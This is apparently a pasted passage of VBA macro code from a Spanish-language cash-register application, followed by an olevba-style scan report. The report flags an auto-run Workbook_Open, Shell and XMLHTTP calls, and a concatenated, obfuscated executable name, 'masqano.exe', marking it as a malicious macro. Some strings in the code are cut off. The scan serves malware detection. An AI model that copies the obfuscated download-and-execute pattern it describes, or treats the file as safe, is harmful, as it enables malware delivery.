  640.  objParametros.GrabarValor "nrPuesto", objConfig.nrPuesto
  641.  objbasededatos.dsDSN = objConfig.dsDSN
  642.  objbasededatos.dsUID = objConfig.dsUID
  643.  objbasededatos.dsMotorBD = objConfig.dsMotorBD
  644.  Select Case objbasededatos.dsMotorBD
  645.  Case "MY_SQL"
  646.  On Error Resume Next
  647.  objbasededatos.nmServidor = objConfig.nmServidor
  648.  If Err Then
  649.  MsgBox "ERROR: no se puede iniciar el modo local, verifique la propiedad "
  650.  End
  651.  End If
  652.  On Error GoTo 0
  653.  objbasededatos.nmBasededatos = objConfig.nmBasededatos
  654.  Case "SQL_SERVER"
  655.  Case "MDB"
  656.  End Select
  657.  Set objbasededatos.ConfigRegional = objConfigRegional
  658.  If Not objbasededatos.abrirBD Then
  659.  If objbasededatos.Error = "[Shared Memory]SQL Server does not exist or access denied." Then
  660.  MsgBox "No se ha establecido la conexi?n con el Servidor." + vbCrLf + _
  661.  "Por favor verifique si la VPN se encuentra abierta. " + vbCrLf + _
  662.  "Vuelva a internar la operaci?n, si persiste el problema comun?quese" + _
  663.  " con el administrador del sistema.", vbCritical, _
  664.  "Fall? la conexi?n con el Servidor."
  665.  Else
  666.  MsgBox objbasededatos.Error
  667.  End If
  668.  End
  669.  End If
  670.  Set objDiccionariodeDatos.Basededatos = objbasededatos
  671.  If Not objDiccionariodeDatos.InicializarDiccionario() Then
  672.  MsgBox objDiccionariodeDatos.Error
  673.  End
  674.  End If
  675.  ObjTablasIO.dsMotorBD = objConfig.dsMotorBD
  676.  Set ObjTablasIO.Basededatos = objbasededatos
  677.  Set ObjTablasIO.DiccionarioDeDatos = objDiccionariodeDatos
  678.  Set objDiccionariodeDatos.TablasIO = ObjTablasIO
  679.  Set objCajas.Basededatos = objbasededatos
  680.  Set objCajas.ObjTablasIO = ObjTablasIO
  681.  Set objMovimientos.ObjTablasIO = ObjTablasIO
  682.  Set objExportar.objDiccionariodeDatos = objDiccionariodeDatos
  683.  objSPs.dsMotorBD = objConfig.dsMotorBD
  684.  Set objSPs.Basededatos = objbasededatos
  685.  Set objSPs.DiccionarioDeDatos = objDiccionariodeDatos
  686.  Set objSPs.lobjConfigRegional = objConfigRegional
  687.  frm_Splash.Show 1
  688.  CrearCarpeta objConfig.dsPathTemp
  689.  Frm_Acceso.Show 1
  690.  objUsuario.ValidarUsuario
  691.  If objUsuario.tpAcceso = "Puestos" And objConfig.nrPuesto = "9" Then
  692.  MsgBox "Prohibido el acceso a los usuarios de los "
  693.  End
  694.  End If
  695.  If objUsuario.tpAcceso = "Administraci?n" And objConfig.nrPuesto <> "9" Then
  696.  MsgBox "Prohibido el acceso a los usuarios de la "
  697.  End
  698.  End If
  699.  If objCajas.hayCajasModificadasporAdministracion() Then
  700.  MsgBox "Existen cajas modificadas por la admministraci?n con estado "
  701.  "para realizar dicha tarea ingrese a
  702. End If
  703. If UCase(objUsuario.dsPassword) = UCase(objbasededatos.hashCadena(DEFAULT_PWD)) Then
  704. frm_CambiarPassword.Show vbModal
  705. If objParametros.ObtenerValor("CAMBIO_CLAVE") = "NO" Then
  706. End
  707. End If
  708. End If
  709. Select Case objUsuario.tpAcceso
  710. Case "Puestos", "Administraci?n"
  711. If objUsuario.tpAcceso = "Administraci?n" And objConfig.dsMotorBD = "MY_SQL" Then
  712. MsgBox "La configuraci?n actual no permite ingresar al sistema con el perfil de administraci?n.", vbCritical + vbDefaultButton1, "Atenci?n"
  713. End
  714. End If
  715. If objCajas.hayCajasRechazadasporlaCajera() Then
  716. MsgBox "Existen cajas puestos Rechazadas.", vbInformation + vbDefaultButton1, "Atenci?n"
  717. End If
  718. objConfig.AbreCaja = "SI"
  719. If Not objConfig.ObtenerValoresEuroyDolaryPromoyComisionRetorno Then
  720. MsgBox objConfig.dsError + vbCrLf + "El programa no puede iniciarse.", vbCritical + vbDefaultButton1, "Atenci?n"
  721. End
  722. End If
  723. lnrCaja = objCajas.ObtenerCajaAbiertadelUsuario(objParametros.ObtenerValor("dsUsuario"))
  724. objParametros.GrabarValor "dsObservacion", ""
  725. If lnrCaja = "" Then
  726. objParametros.GrabarValor "frm_ABMCaja", "Alta"
  727. Select Case objUsuario.tpAcceso
  728. Case "Puestos"
  729. frm_ABMCaja.Show 1
  730. Case "Administraci?n"
  731. frm_ABMCajaADM.Show 1
  732. End Select
  733. If objParametros.ObtenerValor("CajaAbierta") = "NO" Then
  734. End
  735. Else
  736. objConfig.GuardarINI
  737. End If
  738. Else
  739. MsgBox "El sistema esta reabrindo una caja que usted dej? abierta.", vbInformation, "Atenci?n"
  740. objParametros.GrabarValor "nrCaja", lnrCaja
  741. objParametros.GrabarValor "frm_ABMCaja", "CajaSinCerrar"
  742. Select Case objUsuario.tpAcceso
  743. Case "Puestos"
  744. objParametros.GrabarValor "CajaAbierta", "SI"
  745. objParametros.GrabarValor "vlDiaDolar", objConfig.vlDiaDolar
  746. objParametros.GrabarValor "vlDiaEuro", objConfig.vlDiaEuro
  747. Case "Administraci?n"
  748. frm_ABMCajaADM.Show 1
  749. End Select
  750. objConfig.GuardarINI
  751. End If
  752. Case Else
  753. objConfig.AbreCaja = "NO"
  754. If Not objConfig.ObtenerValoresEuroyDolaryPromoyComisionRetorno Then
  755. MsgBox "Los valores de Dolar, Euro o Retorno no estan bien configurados," + vbCrLf + _
  756. " por favor vaya a la pantalla de conceptos para arreglar estos valores." _
  757. + vbCrLf + "Error Extendido: " + objConfig.Error, vbCritical + vbDefaultButton1, "Atenci?n"
  758. End If
  759. objParametros.GrabarValor "vlDiaDolar", objConfig.vlDiaDolar
  760. objParametros.GrabarValor "vlDiaEuro", objConfig.vlDiaEuro
  761. End Select
  762. Select Case objUsuario.tpAcceso
  763. Case "Puestos"
  764. Case Else
  765. objAFIP.mostrarTalonariosVencimientoCAI
  766. End Select
  767. Frm_Principal.Show
  768. End Sub
  769.  
  770.  
  771.  
  772. +------------+----------------------+-----------------------------------------+
  773. | Type       | Keyword              | Description                             |
  774. +------------+----------------------+-----------------------------------------+
  775. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  776. | Suspicious | Open                 | May open a file                         |
  777. | Suspicious | Shell                | May run an executable file or a system  |
  778. |            |                      | command                                 |
  779. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  780. |            |                      | command                                 |
  781. | Suspicious | MkDir                | May create a directory                  |
  782. | Suspicious | Shell.Application    | May run an application (if combined     |
  783. |            |                      | with CreateObject)                      |
  784. | Suspicious | CreateObject         | May create an OLE object                |
  785. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  786. |            |                      | strings                                 |
  787. | Suspicious | SaveToFile           | May create a text file                  |
  788. | Suspicious | Write                | May write to a file (if combined with   |
  789. |            |                      | Open)                                   |
  790. | Suspicious | Output               | May write to a file (if combined with   |
  791. |            |                      | Open)                                   |
  792. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  793. |            |                      | (obfuscation: VBA expression)           |
  794. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  795. |            |                      | be used to obfuscate strings (option    |
  796. |            |                      | --decode to see all)                    |
  797. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  798. |            |                      | may be used to obfuscate strings        |
  799. |            |                      | (option --decode to see all)            |
  800. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  801. |            | Strings              | may be used to obfuscate strings        |
  802. |            |                      | (option --decode to see all)            |
  803. | IOC        | masqano.exe          | Executable file name (obfuscation: VBA  |
  804. |            |                      | expression)                             |
  805. | VBA string | \masqano.exe         | "\" + "mas" + "qano" + "." + "e" + "" + |
  806. |            |                      | "" + "" + "" + "xe"                     |
  807. | VBA string | GET                  | "G" + "" + "" + "E" + "" + "" + "T" +   |
  808. |            |                      | "" + ""                                 |
  809. | VBA string | b.S                  | "b." + "S"                              |
  810. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  811. | VBA string | Vuelva a internar la | "Vuelva a internar la operaci?n, si     |
  812. |            | operaci?n, si        | persiste el problema comun?quese" +  "  |
  813. |            | persiste el problema | con el administrador del sistema."      |
  814. |            | comun?quese con el   |                                         |
  815. |            | administrador del    |                                         |
  816. |            | sistema.             |                                         |
  817. +------------+----------------------+-----------------------------------------+
RAW Paste Data